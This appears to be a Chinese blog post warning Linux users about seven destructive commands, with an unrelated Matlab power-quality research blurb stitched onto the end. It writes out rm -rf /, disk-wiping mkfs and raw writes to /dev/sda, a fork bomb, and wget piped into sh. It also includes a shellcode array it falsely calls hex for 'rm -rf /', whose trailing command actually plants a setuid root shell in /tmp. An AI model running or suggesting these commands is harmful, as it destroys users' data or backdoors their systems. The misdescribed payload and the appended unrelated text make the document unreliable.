7个极具杀伤性的Linux命令

本文列举了几个在Linux环境下可能导致系统严重损害的命令,包括但不限于删除整个根目录的命令、抹盘操作以及可能导致系统崩溃的指令。提醒用户在操作时务必谨慎,避免因误操作而导致的数据丢失或系统故障。
 如果您使用Linux,可千万要记得不要让傻孩子们敲入以下命令,尽管这些命令看上去相当复杂,但还是会对你的系统造成严重影响.

  有一些会影响你的程序和系统运行,有一些会直接把你的盘抹掉,这些命令几乎没有什么可以挽回的余地.

  1.

  rm -rf /

  这个很简单,根目录会被擦光.

  2.

  char esp[] __attribute__ ((section(".text"))) /* e.s.p

  release */

  = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"

  "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"

  "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"

  "x56x04xf7x56x08xf7x56x0cx83xc4x74x56"

  "x8dx73x08x56x53x54x59xb0x0bxcdx80x31"

  "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"

  "x6ex2fx73x68x00x2dx63x00"

  "cp -p /bin/sh /tmp/.beyond; chmod 4755

  /tmp/.beyond;";

  没看懂?呵呵,其实就是16进制的[rm -rf /].

  3.

  mkfs.ext3 /dev/sda

  抹盘行为无疑是危险的

  4.

  :(){:|:&};:

  这不是90后的表情,也不是托蒂射点球前的表情,它可以让你的系统迅速因为处理大量数据而死机.

  5.

  any_command > /dev/sda

  这个命令将会写入大量的RAW数据,可以导致数据丢失.

  6.

  wget http://some_untrusted_source -O- | sh

  和Windows一样,千万不要乱下载未经证实安全性的源,这年头Linux和胡萝卜一样,也不会保险.

  7.

  mv /home/yourhomedirectory/* /dev/null

  这条命令无疑会让系统抓狂,你的主目录会再也看不到.

[@more@]

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【电能质量扰动】基于ML和DWT的电能质量扰动分类方法研究(Matlab实现)内容概要:本文研究了一种基于机器学习(ML)和离散小波变换(DWT)的电能质量扰动分类方法,并提供了Matlab实现方案。首先利用DWT对电能质量信号进行多尺度分解,提取信号的时频域特征,有效捕捉电压暂降、暂升、中断、谐波、闪变等常见扰动的关键信息;随后结合机器学习分类器(如SVM、BP神经网络等)对提取的特征进行训练与分类,实现对不同类型扰动的自动识别与准确区分。该方法充分发挥DWT在信号去噪与特征提取方面的优势,结合ML强大的模式识别能力,提升了分类精度与鲁棒性,具有较强的实用价值。; 适合人群:电气工程、自动化、电力系统及其自动化等相关专业的研究生、科研人员及从事电能质量监测与分析的工程技术人员;具备一定的信号处理基础和Matlab编程能力者更佳。; 使用场景及目标:①应用于智能电网中的电能质量在线监测系统,实现扰动类型的自动识别;②作为高校或科研机构在信号处理、模式识别、电力系统分析等课程的教学案例或科研实验平台;③目标是提高电能质量扰动分类的准确性与效率,为后续的电能治理与设备保护提供决策依据。; 阅读建议:建议读者结合Matlab代码深入理解DWT的实现过程与特征提取步骤,重点关注小波基选择、分解层数设定及特征向量构造对分类性能的影响,并尝试对比不同机器学习模型的分类效果,以全面掌握该方法的核心技术要点。
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